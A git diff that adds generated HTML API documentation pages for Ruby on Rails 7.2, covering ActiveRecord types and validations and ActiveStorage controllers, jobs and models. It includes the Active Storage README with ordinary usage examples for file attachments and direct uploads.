diff --git a/src/7.2/files/activerecord/lib/active_record/type/text_rb.html b/src/7.2/files/activerecord/lib/active_record/type/text_rb.html new file mode 100644 index 0000000000..0c38da1b39 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/type/text_rb.html @@ -0,0 +1,72 @@ +--- +title: text.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/type/time_rb.html b/src/7.2/files/activerecord/lib/active_record/type/time_rb.html new file mode 100644 index 0000000000..b23f4134b2 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/type/time_rb.html @@ -0,0 +1,79 @@ +--- +title: time.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/type/type_map_rb.html b/src/7.2/files/activerecord/lib/active_record/type/type_map_rb.html new file mode 100644 index 0000000000..8d45464a51 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/type/type_map_rb.html @@ -0,0 +1,80 @@ +--- +title: type_map.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • concurrent/map
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/type/unsigned_integer_rb.html b/src/7.2/files/activerecord/lib/active_record/type/unsigned_integer_rb.html new file mode 100644 index 0000000000..cce70c4473 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/type/unsigned_integer_rb.html @@ -0,0 +1,72 @@ +--- +title: unsigned_integer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/type_caster/connection_rb.html b/src/7.2/files/activerecord/lib/active_record/type_caster/connection_rb.html new file mode 100644 index 0000000000..710b94e46d --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/type_caster/connection_rb.html @@ -0,0 +1,70 @@ +--- +title: connection.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/type_caster/map_rb.html b/src/7.2/files/activerecord/lib/active_record/type_caster/map_rb.html new file mode 100644 index 0000000000..c9d19a7e14 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/type_caster/map_rb.html @@ -0,0 +1,70 @@ +--- +title: map.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/type_caster_rb.html b/src/7.2/files/activerecord/lib/active_record/type_caster_rb.html new file mode 100644 index 0000000000..d080e003d1 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/type_caster_rb.html @@ -0,0 +1,80 @@ +--- +title: type_caster.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_record/type_caster/map
  • + +
  • active_record/type_caster/connection
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/type_rb.html b/src/7.2/files/activerecord/lib/active_record/type_rb.html new file mode 100644 index 0000000000..da44688112 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/type_rb.html @@ -0,0 +1,104 @@ +--- +title: type.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_model/type
  • + +
  • active_record/type/internal/timezone
  • + +
  • active_record/type/date
  • + +
  • active_record/type/date_time
  • + +
  • active_record/type/decimal_without_scale
  • + +
  • active_record/type/json
  • + +
  • active_record/type/time
  • + +
  • active_record/type/text
  • + +
  • active_record/type/unsigned_integer
  • + +
  • active_record/type/serialized
  • + +
  • active_record/type/adapter_specific_registry
  • + +
  • active_record/type/type_map
  • + +
  • active_record/type/hash_lookup_type_map
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/validations/absence_rb.html b/src/7.2/files/activerecord/lib/active_record/validations/absence_rb.html new file mode 100644 index 0000000000..0e2d4908ff --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/validations/absence_rb.html @@ -0,0 +1,74 @@ +--- +title: absence.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/validations/associated_rb.html b/src/7.2/files/activerecord/lib/active_record/validations/associated_rb.html new file mode 100644 index 0000000000..4232492c0f --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/validations/associated_rb.html @@ -0,0 +1,74 @@ +--- +title: associated.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/validations/length_rb.html b/src/7.2/files/activerecord/lib/active_record/validations/length_rb.html new file mode 100644 index 0000000000..d2f7aeb3d8 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/validations/length_rb.html @@ -0,0 +1,74 @@ +--- +title: length.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/validations/numericality_rb.html b/src/7.2/files/activerecord/lib/active_record/validations/numericality_rb.html new file mode 100644 index 0000000000..5f6256992c --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/validations/numericality_rb.html @@ -0,0 +1,74 @@ +--- +title: numericality.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/validations/presence_rb.html b/src/7.2/files/activerecord/lib/active_record/validations/presence_rb.html new file mode 100644 index 0000000000..c22c327e67 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/validations/presence_rb.html @@ -0,0 +1,74 @@ +--- +title: presence.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/validations/uniqueness_rb.html b/src/7.2/files/activerecord/lib/active_record/validations/uniqueness_rb.html new file mode 100644 index 0000000000..cc2330443d --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/validations/uniqueness_rb.html @@ -0,0 +1,74 @@ +--- +title: uniqueness.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/validations_rb.html b/src/7.2/files/activerecord/lib/active_record/validations_rb.html new file mode 100644 index 0000000000..822aef7f70 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/validations_rb.html @@ -0,0 +1,97 @@ +--- +title: validations.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_record/validations/associated
  • + +
  • active_record/validations/uniqueness
  • + +
  • active_record/validations/presence
  • + +
  • active_record/validations/absence
  • + +
  • active_record/validations/length
  • + +
  • active_record/validations/numericality
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/version_rb.html b/src/7.2/files/activerecord/lib/active_record/version_rb.html new file mode 100644 index 0000000000..184caf785b --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/version_rb.html @@ -0,0 +1,70 @@ +--- +title: version.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record_rb.html b/src/7.2/files/activerecord/lib/active_record_rb.html new file mode 100644 index 0000000000..a18dd5e87c --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record_rb.html @@ -0,0 +1,112 @@ +--- +title: active_record.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support
  • + +
  • active_support/rails
  • + +
  • active_support/ordered_options
  • + +
  • active_model
  • + +
  • arel
  • + +
  • yaml
  • + +
  • active_record/version
  • + +
  • active_record/deprecator
  • + +
  • active_model/attribute_set
  • + +
  • active_record/errors
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/arel_rb.html b/src/7.2/files/activerecord/lib/arel_rb.html new file mode 100644 index 0000000000..a97f942410 --- /dev/null +++ b/src/7.2/files/activerecord/lib/arel_rb.html @@ -0,0 +1,116 @@ +--- +title: arel.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • arel/errors
  • + +
  • arel/crud
  • + +
  • arel/factory_methods
  • + +
  • arel/expressions
  • + +
  • arel/predications
  • + +
  • arel/filter_predications
  • + +
  • arel/window_predications
  • + +
  • arel/math
  • + +
  • arel/alias_predication
  • + +
  • arel/order_predications
  • + +
  • arel/table
  • + +
  • arel/attributes/attribute
  • + +
  • arel/visitors
  • + +
  • arel/collectors/sql_string
  • + +
  • arel/tree_manager
  • + +
  • arel/insert_manager
  • + +
  • arel/select_manager
  • + +
  • arel/update_manager
  • + +
  • arel/delete_manager
  • + +
  • arel/nodes
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/README_md.html b/src/7.2/files/activestorage/README_md.html new file mode 100644 index 0000000000..f6ca3cf9c4 --- /dev/null +++ b/src/7.2/files/activestorage/README_md.html @@ -0,0 +1,325 @@ +--- +title: README.md +layout: default +--- +
+ + +
+
+ +
+ +

Active Storage

+ +

Active Storage makes it simple to upload and reference files in cloud services like Amazon S3, Google Cloud Storage, or Microsoft Azure Storage, and attach those files to Active Records. Supports having one main service and mirrors in other services for redundancy. It also provides a disk service for testing or local deployments, but the focus is on cloud storage.

+ +

Files can be uploaded from the server to the cloud or directly from the client to the cloud.

+ +

Image files can furthermore be transformed using on-demand variants for quality, aspect ratio, size, or any other MiniMagick or Vips supported transformation.

+ +

You can read more about Active Storage in the Active Storage Overview guide.

+ +

Compared to other storage solutions

+ +

A key difference to how Active Storage works compared to other attachment solutions in Rails is through the use of built-in Blob and Attachment models (backed by Active Record). This means existing application models do not need to be modified with additional columns to associate with files. Active Storage uses polymorphic associations via the Attachment join model, which then connects to the actual Blob.

+ +

Blob models store attachment metadata (filename, content-type, etc.), and their identifier key in the storage service. Blob models do not store the actual binary data. They are intended to be immutable in spirit. One file, one blob. You can associate the same blob with multiple application models as well. And if you want to do transformations of a given Blob, the idea is that you’ll simply create a new one, rather than attempt to mutate the existing one (though of course you can delete the previous version later if you don’t need it).

+ +

Installation

+ +

Run bin/rails active_storage:install to copy over active_storage migrations.

+ +

NOTE: If the task cannot be found, verify that require "active_storage/engine" is present in config/application.rb.

+ +

Examples

+ +

One attachment:

+ +
class User < ApplicationRecord
+  # Associates an attachment and a blob. When the user is destroyed they are
+  # purged by default (models destroyed, and resource files deleted).
+  has_one_attached :avatar
+end
+
+# Attach an avatar to the user.
+user.avatar.attach(io: File.open("/path/to/face.jpg"), filename: "face.jpg", content_type: "image/jpeg")
+
+# Does the user have an avatar?
+user.avatar.attached? # => true
+
+# Synchronously destroy the avatar and actual resource files.
+user.avatar.purge
+
+# Destroy the associated models and actual resource files async, via Active Job.
+user.avatar.purge_later
+
+# Does the user have an avatar?
+user.avatar.attached? # => false
+
+# Generate a permanent URL for the blob that points to the application.
+# Upon access, a redirect to the actual service endpoint is returned.
+# This indirection decouples the public URL from the actual one, and
+# allows for example mirroring attachments in different services for
+# high-availability. The redirection has an HTTP expiration of 5 min.
+url_for(user.avatar)
+
+class AvatarsController < ApplicationController
+  def update
+    # params[:avatar] contains an ActionDispatch::Http::UploadedFile object
+    Current.user.avatar.attach(params.require(:avatar))
+    redirect_to Current.user
+  end
+end
+
+ +

Many attachments:

+ +
class Message < ApplicationRecord
+  has_many_attached :images
+end
+
+ +
<%= form_with model: @message, local: true do |form| %>
+  <%= form.text_field :title, placeholder: "Title" %><br>
+  <%= form.text_area :content %><br><br>
+
+  <%= form.file_field :images, multiple: true %><br>
+  <%= form.submit %>
+<% end %>
+
+ +
class MessagesController < ApplicationController
+  def index
+    # Use the built-in with_attached_images scope to avoid N+1
+    @messages = Message.all.with_attached_images
+  end
+
+  def create
+    message = Message.create! params.require(:message).permit(:title, :content, images: [])
+    redirect_to message
+  end
+
+  def show
+    @message = Message.find(params[:id])
+  end
+end
+
+ +

Variation of image attachment:

+ +
<%# Hitting the variant URL will lazy transform the original blob and then redirect to its new service location %>
+<%= image_tag user.avatar.variant(resize_to_limit: [100, 100]) %>
+
+ +

File serving strategies

+ +

Active Storage supports two ways to serve files: redirecting and proxying.

+ +

Redirecting

+ +

Active Storage generates stable application URLs for files which, when accessed, redirect to signed, short-lived service URLs. This relieves application servers of the burden of serving file data. It is the default file serving strategy.

+ +

When the application is configured to proxy files by default, use the rails_storage_redirect_path and _url route helpers to redirect instead:

+ +
<%= image_tag rails_storage_redirect_path(@user.avatar) %>
+
+ +

Proxying

+ +

Optionally, files can be proxied instead. This means that your application servers will download file data from the storage service in response to requests. This can be useful for serving files from a CDN.

+ +

You can configure Active Storage to use proxying by default:

+ +
# config/initializers/active_storage.rb
+Rails.application.config.active_storage.resolve_model_to_route = :rails_storage_proxy
+
+ +

Or if you want to explicitly proxy specific attachments there are URL helpers you can use in the form of rails_storage_proxy_path and rails_storage_proxy_url.

+ +
<%= image_tag rails_storage_proxy_path(@user.avatar) %>
+
+ +

Direct uploads

+ +

Active Storage, with its included JavaScript library, supports uploading directly from the client to the cloud.

+ +

Direct upload installation

+
  1. +

    Include the Active Storage JavaScript in your application's JavaScript bundle or reference it directly.

    + +

    Requiring directly without bundling through the asset pipeline in the application HTML with autostart:

    + +
    <%= javascript_include_tag "activestorage" %>
    +
    + +

    Requiring via importmap-rails without bundling through the asset pipeline in the application HTML without autostart as ESM:

    + +
    # config/importmap.rb
    +pin "@rails/activestorage", to: "activestorage.esm.js"
    +
    + +
    <script type="module-shim">
    +  import * as ActiveStorage from "@rails/activestorage"
    +  ActiveStorage.start()
    +</script>
    +
    + +

    Using the asset pipeline:

    + +
    //= require activestorage
    +
    + +

    Using the npm package:

    + +
    import * as ActiveStorage from "@rails/activestorage"
    +ActiveStorage.start()
    +
    +
  2. +

    Annotate file inputs with the direct upload URL.

    + +
    <%= form.file_field :attachments, multiple: true, direct_upload: true %>
    +
    +
  3. +

    That's it! Uploads begin upon form submission.

    +
+ +

Direct upload JavaScript events

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Event nameEvent targetEvent data (β€˜event.detail`)Description
β€˜direct-uploads:start`β€˜<form>`NoneA form containing files for direct upload fields was submitted.
β€˜direct-upload:initialize`β€˜<input>`β€˜{id, file}`Dispatched for every file after form submission.
β€˜direct-upload:start`β€˜<input>`β€˜{id, file}`A direct upload is starting.
β€˜direct-upload:before-blob-request`β€˜<input>`β€˜{id, file, xhr}`Before making a request to your application for direct upload metadata.
β€˜direct-upload:before-storage-request`β€˜<input>`β€˜{id, file, xhr}`Before making a request to store a file.
β€˜direct-upload:progress`β€˜<input>`β€˜{id, file, progress}`As requests to store files progress.
β€˜direct-upload:error`β€˜<input>`β€˜{id, file, error}`An error occurred. An β€˜alert` will display unless this event is canceled.
β€˜direct-upload:end`β€˜<input>`β€˜{id, file}`A direct upload has ended.
β€˜direct-uploads:end`β€˜<form>`NoneAll direct uploads have ended.
+ +

License

+ +

Active Storage is released under the MIT License.

+ +

Support

+ +

API documentation is at:

+ + +

Bug reports for the Ruby on Rails project can be filed here:

+ + +

Feature requests should be discussed on the rails-core mailing list here:

+ + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/controllers/active_storage/base_controller_rb.html b/src/7.2/files/activestorage/app/controllers/active_storage/base_controller_rb.html new file mode 100644 index 0000000000..90f5b966c3 --- /dev/null +++ b/src/7.2/files/activestorage/app/controllers/active_storage/base_controller_rb.html @@ -0,0 +1,83 @@ +--- +title: base_controller.rb +layout: default +--- +
+ + +
+
+ +
+ +

The base class for all Active Storage controllers.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/controllers/active_storage/blobs/proxy_controller_rb.html b/src/7.2/files/activestorage/app/controllers/active_storage/blobs/proxy_controller_rb.html new file mode 100644 index 0000000000..5324c6b0e7 --- /dev/null +++ b/src/7.2/files/activestorage/app/controllers/active_storage/blobs/proxy_controller_rb.html @@ -0,0 +1,87 @@ +--- +title: proxy_controller.rb +layout: default +--- +
+ + +
+
+ +
+ +

Proxy files through application. This avoids having a redirect and makes files easier to cache.

+ +

WARNING: All Active Storage controllers are publicly accessible by default. The generated URLs are hard to guess, but permanent by design. If your files require a higher level of protection consider implementing Authenticated Controllers.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/controllers/active_storage/blobs/redirect_controller_rb.html b/src/7.2/files/activestorage/app/controllers/active_storage/blobs/redirect_controller_rb.html new file mode 100644 index 0000000000..3da29fe03d --- /dev/null +++ b/src/7.2/files/activestorage/app/controllers/active_storage/blobs/redirect_controller_rb.html @@ -0,0 +1,87 @@ +--- +title: redirect_controller.rb +layout: default +--- +
+ + +
+
+ +
+ +

Take a signed permanent reference for a blob and turn it into an expiring service URL for download.

+ +

WARNING: All Active Storage controllers are publicly accessible by default. The generated URLs are hard to guess, but permanent by design. If your files require a higher level of protection consider implementing Authenticated Controllers.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/controllers/active_storage/direct_uploads_controller_rb.html b/src/7.2/files/activestorage/app/controllers/active_storage/direct_uploads_controller_rb.html new file mode 100644 index 0000000000..b3fe47b684 --- /dev/null +++ b/src/7.2/files/activestorage/app/controllers/active_storage/direct_uploads_controller_rb.html @@ -0,0 +1,83 @@ +--- +title: direct_uploads_controller.rb +layout: default +--- +
+ + +
+
+ +
+ +

Creates a new blob on the server side in anticipation of a direct-to-service upload from the client side. When the client-side upload is completed, the signed_blob_id can be submitted as part of the form to reference the blob that was created up front.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/controllers/active_storage/disk_controller_rb.html b/src/7.2/files/activestorage/app/controllers/active_storage/disk_controller_rb.html new file mode 100644 index 0000000000..d0da1c097f --- /dev/null +++ b/src/7.2/files/activestorage/app/controllers/active_storage/disk_controller_rb.html @@ -0,0 +1,83 @@ +--- +title: disk_controller.rb +layout: default +--- +
+ + +
+
+ +
+ +

Serves files stored with the disk service in the same way that the cloud services do. This means using expiring, signed URLs that are meant for immediate access, not permanent linking. Always go through the BlobsController, or your own authenticated controller, rather than directly to the service URL.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/controllers/active_storage/representations/base_controller_rb.html b/src/7.2/files/activestorage/app/controllers/active_storage/representations/base_controller_rb.html new file mode 100644 index 0000000000..8e1e45fd0f --- /dev/null +++ b/src/7.2/files/activestorage/app/controllers/active_storage/representations/base_controller_rb.html @@ -0,0 +1,72 @@ +--- +title: base_controller.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/controllers/active_storage/representations/proxy_controller_rb.html b/src/7.2/files/activestorage/app/controllers/active_storage/representations/proxy_controller_rb.html new file mode 100644 index 0000000000..7ab97e332d --- /dev/null +++ b/src/7.2/files/activestorage/app/controllers/active_storage/representations/proxy_controller_rb.html @@ -0,0 +1,87 @@ +--- +title: proxy_controller.rb +layout: default +--- +
+ + +
+
+ +
+ +

Proxy files through application. This avoids having a redirect and makes files easier to cache.

+ +

WARNING: All Active Storage controllers are publicly accessible by default. The generated URLs are hard to guess, but permanent by design. If your files require a higher level of protection consider implementing Authenticated Controllers.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/controllers/active_storage/representations/redirect_controller_rb.html b/src/7.2/files/activestorage/app/controllers/active_storage/representations/redirect_controller_rb.html new file mode 100644 index 0000000000..e6a90728af --- /dev/null +++ b/src/7.2/files/activestorage/app/controllers/active_storage/representations/redirect_controller_rb.html @@ -0,0 +1,87 @@ +--- +title: redirect_controller.rb +layout: default +--- +
+ + +
+
+ +
+ +

Take a signed permanent reference for a blob representation and turn it into an expiring service URL for download.

+ +

WARNING: All Active Storage controllers are publicly accessible by default. The generated URLs are hard to guess, but permanent by design. If your files require a higher level of protection consider implementing Authenticated Controllers.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/controllers/concerns/active_storage/disable_session_rb.html b/src/7.2/files/activestorage/app/controllers/concerns/active_storage/disable_session_rb.html new file mode 100644 index 0000000000..120c0f4556 --- /dev/null +++ b/src/7.2/files/activestorage/app/controllers/concerns/active_storage/disable_session_rb.html @@ -0,0 +1,78 @@ +--- +title: disable_session.rb +layout: default +--- +
+ + +
+
+ +
+ +

This concern disables the session in order to allow caching by default in some CDNs as CloudFlare.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/controllers/concerns/active_storage/file_server_rb.html b/src/7.2/files/activestorage/app/controllers/concerns/active_storage/file_server_rb.html new file mode 100644 index 0000000000..84d1fed41f --- /dev/null +++ b/src/7.2/files/activestorage/app/controllers/concerns/active_storage/file_server_rb.html @@ -0,0 +1,78 @@ +--- +title: file_server.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/hash/except
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/controllers/concerns/active_storage/set_blob_rb.html b/src/7.2/files/activestorage/app/controllers/concerns/active_storage/set_blob_rb.html new file mode 100644 index 0000000000..60731d8c9b --- /dev/null +++ b/src/7.2/files/activestorage/app/controllers/concerns/active_storage/set_blob_rb.html @@ -0,0 +1,70 @@ +--- +title: set_blob.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/controllers/concerns/active_storage/set_current_rb.html b/src/7.2/files/activestorage/app/controllers/concerns/active_storage/set_current_rb.html new file mode 100644 index 0000000000..ceea303078 --- /dev/null +++ b/src/7.2/files/activestorage/app/controllers/concerns/active_storage/set_current_rb.html @@ -0,0 +1,78 @@ +--- +title: set_current.rb +layout: default +--- +
+ + +
+
+ +
+ +

Sets the ActiveStorage::Current.url_options attribute, which the disk service uses to generate URLs. Include this concern in custom controllers that call ActiveStorage::Blob#url, ActiveStorage::Variant#url, or ActiveStorage::Preview#url so the disk service can generate URLs using the same host, protocol, and port as the current request.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/controllers/concerns/active_storage/streaming_rb.html b/src/7.2/files/activestorage/app/controllers/concerns/active_storage/streaming_rb.html new file mode 100644 index 0000000000..440fea610a --- /dev/null +++ b/src/7.2/files/activestorage/app/controllers/concerns/active_storage/streaming_rb.html @@ -0,0 +1,80 @@ +--- +title: streaming.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • securerandom
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/jobs/active_storage/analyze_job_rb.html b/src/7.2/files/activestorage/app/jobs/active_storage/analyze_job_rb.html new file mode 100644 index 0000000000..4ba122fb09 --- /dev/null +++ b/src/7.2/files/activestorage/app/jobs/active_storage/analyze_job_rb.html @@ -0,0 +1,85 @@ +--- +title: analyze_job.rb +layout: default +--- +
+ + +
+
+ +
+ +

Provides asynchronous analysis of ActiveStorage::Blob records via ActiveStorage::Blob#analyze_later.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/jobs/active_storage/base_job_rb.html b/src/7.2/files/activestorage/app/jobs/active_storage/base_job_rb.html new file mode 100644 index 0000000000..bfade325d1 --- /dev/null +++ b/src/7.2/files/activestorage/app/jobs/active_storage/base_job_rb.html @@ -0,0 +1,77 @@ +--- +title: base_job.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/jobs/active_storage/mirror_job_rb.html b/src/7.2/files/activestorage/app/jobs/active_storage/mirror_job_rb.html new file mode 100644 index 0000000000..02dc7a9eea --- /dev/null +++ b/src/7.2/files/activestorage/app/jobs/active_storage/mirror_job_rb.html @@ -0,0 +1,85 @@ +--- +title: mirror_job.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/object/try
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/jobs/active_storage/preview_image_job_rb.html b/src/7.2/files/activestorage/app/jobs/active_storage/preview_image_job_rb.html new file mode 100644 index 0000000000..678ead84ad --- /dev/null +++ b/src/7.2/files/activestorage/app/jobs/active_storage/preview_image_job_rb.html @@ -0,0 +1,79 @@ +--- +title: preview_image_job.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/jobs/active_storage/purge_job_rb.html b/src/7.2/files/activestorage/app/jobs/active_storage/purge_job_rb.html new file mode 100644 index 0000000000..d9fa10150c --- /dev/null +++ b/src/7.2/files/activestorage/app/jobs/active_storage/purge_job_rb.html @@ -0,0 +1,85 @@ +--- +title: purge_job.rb +layout: default +--- +
+ + +
+
+ +
+ +

Provides asynchronous purging of ActiveStorage::Blob records via ActiveStorage::Blob#purge_later.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/jobs/active_storage/transform_job_rb.html b/src/7.2/files/activestorage/app/jobs/active_storage/transform_job_rb.html new file mode 100644 index 0000000000..dceddfb586 --- /dev/null +++ b/src/7.2/files/activestorage/app/jobs/active_storage/transform_job_rb.html @@ -0,0 +1,79 @@ +--- +title: transform_job.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/models/active_storage/attachment_rb.html b/src/7.2/files/activestorage/app/models/active_storage/attachment_rb.html new file mode 100644 index 0000000000..4df75b6b84 --- /dev/null +++ b/src/7.2/files/activestorage/app/models/active_storage/attachment_rb.html @@ -0,0 +1,85 @@ +--- +title: attachment.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module/delegation
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/models/active_storage/blob/analyzable_rb.html b/src/7.2/files/activestorage/app/models/active_storage/blob/analyzable_rb.html new file mode 100644 index 0000000000..8fd8759c33 --- /dev/null +++ b/src/7.2/files/activestorage/app/models/active_storage/blob/analyzable_rb.html @@ -0,0 +1,87 @@ +--- +title: analyzable.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_storage/analyzer/null_analyzer
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
